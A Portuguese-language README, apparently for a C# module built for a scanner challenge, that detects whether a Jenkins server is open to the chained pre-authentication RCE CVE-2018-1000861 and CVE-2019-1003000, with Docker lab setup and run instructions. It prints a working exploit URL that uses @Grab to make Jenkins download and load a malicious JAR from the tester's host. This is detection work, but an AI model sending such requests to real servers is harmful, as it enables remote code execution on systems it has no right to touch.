
Um módulo em C# para detectar se um servidor Jenkins é vulnerável à vulnerabilidade RCE encontrada em CVE-2019-1003000 (encadeada com CVE-2018-1000861 para RCE pré-autenticação)
Combinando a vulnerabilidade CVE-2018-1000861 com CVE-2019-1003000, criei um módulo para testar um RCE pré-autenticação no Jenkins CI. Inicialmente, tentei detectar a vulnerabilidade com nome de usuário, senha e nome do job; no entanto, pensei que seria mais realista e interessante abordar este desafio combinando as duas vulnerabilidades.
Tenha o Visual Studio ou o framework .NET Core instalado em sua máquina Windows, Linux ou macOS.
docker pull jenkins/jenkins:2.121mvDir.sh
./mvDir.sh
chmod +x mvDir.sh. Se ainda assim não funcionar, você pode executá-lo como bash mvDir.sh./run_vuln_jenkins.sh
http://localhost:8080)./run_updated_jenkins.sh ou bash run_updated_jenkins.sh iniciará um servidor Jenkins seguro e atualizado rodando em http://localhost:8000 e executar o módulo contra ele mostrará que está seguro e não vulnerável à cadeia CVE-2018-1000861 e CVE-2019-1003000.O planejamento inicial que eu havia feito foi um bom framework de como eu abordaria a solução; no entanto, ao executá-lo, descobri que estava tornando muito do trabalho mais complicado do que precisava. Inicialmente criei um script bash para iniciar um reverse shell na minha máquina host para provar o RCE. Porém, o objetivo deste desafio era provar que a vulnerabilidade existia. Neste caso, era provar que o RCE poderia ser executado no Jenkins versão 2.121.2 com os seguintes plugins: Pipeline: Declarative Plugin 1.3.4, Pipeline: Declarative Extension Points API 1.3.4, Pipeline: Groovy Plugin 2.61, Script Security Plugin 1.49.
Eu não precisei realmente criar um reverse shell e mostrar que posso executar comandos arbitrários. Por causa disso, fica mais fácil detectar tanto no Windows quanto em sistemas operacionais baseados em .nix. Após fazer a requisição GET, descobri que a página responderá com um status marcado como sucesso ou imprimirá uma mensagem de erro. No entanto, para garantir que o status de sucesso não era um falso positivo, configurei um servidor web no meu host usando python -m SimpleHTTPSever 80 e, ao lançar a requisição GET personalizada para o arquivo JAR malicioso especificado (que pode ser encontrado na pasta payload), pode-se ver que a requisição GET responde com um código de status 200 com o caminho correto para o arquivo jar encontrado na máquina local, provando que a vulnerabilidade existe. Abaixo está um exemplo da requisição GET e a resposta correspondente. Os diferentes caminhos de arquivos (tw/ e www/) cada um contém o jar malicioso; são apenas caminhos diferentes que a requisição navega para encontrá-lo.
http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;

dotnet buildPara executar o módulo: dotnet run -- -u http://localhost:8080 -ip <host_ip_address>
http://, caso contrário o programa lançará uma exceção HTTP e você terá que executá-lo novamente.Opções de Parâmetros
| Abreviado | Longo | Descrição |
|---|---|---|
| -uname | --username | nome de usuário do Jenkins |
| -p | --password | senha do usuário do Jenkins |
| -u | --url | URL alvo |
| -ip | --ip address | Endereço IP |
| -v | --verbose | Saída detalhada |
-p, -uname ainda não foram implementados, pois criei o módulo apenas para detectar um RCE pré-autenticação, já que achei que seria mais realista para o Detectify porque acredito que o scanner da empresa seria apenas apontado para um domínio alvo (e não teria parâmetros personalizados como senha e nome de usuário, já que também seria inseguro para outra empresa fornecer a outra, mesmo que esteja tentando ajudar a melhorar sua postura de segurança).